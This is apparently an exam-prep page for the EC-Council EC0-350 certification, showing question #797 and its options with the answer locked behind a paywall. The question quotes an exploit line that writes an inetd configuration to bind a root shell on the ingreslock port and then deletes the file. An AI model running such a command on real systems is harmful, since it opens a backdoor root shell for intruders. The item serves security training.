EC-Council
EC0-350 · Question #797
Study the following exploit code taken from a Linux machine and answer the questions below: echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x; /usr/sbin/inetd -s /tmp/x; sleep 10…
Sign in or unlock EC0-350 to reveal the answer and full explanation for question #797. The question stem and answer options stay visible for context.
Question
Study the following exploit code taken from a Linux machine and answer the questions below:
echo "ingreslock stream tcp nowait root /bin/sh sh -I" > /tmp/x; /usr/sbin/inetd -s /tmp/x; sleep 10; /bin/ rm 0f /tmp/x AAAA...AAA In the above exploit code, the command "/bin/sh sh -I" is given. What is the purpose, and why is `sh' shown twice?
Options
- AThe command /bin/sh sh -i appearing in the exploit code is actually part of an inetd configuration file.
- BThe length of such a buffer overflow exploit makes it prohibitive for user to enter manually.
- CIt checks for the presence of a codeword (setting the environment variable) among the environment
- DIt is a giveaway by the attacker that he is a script kiddy.
Unlock EC0-350 to see the answer
You've previewed enough free EC0-350 questions. Unlock EC0-350 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.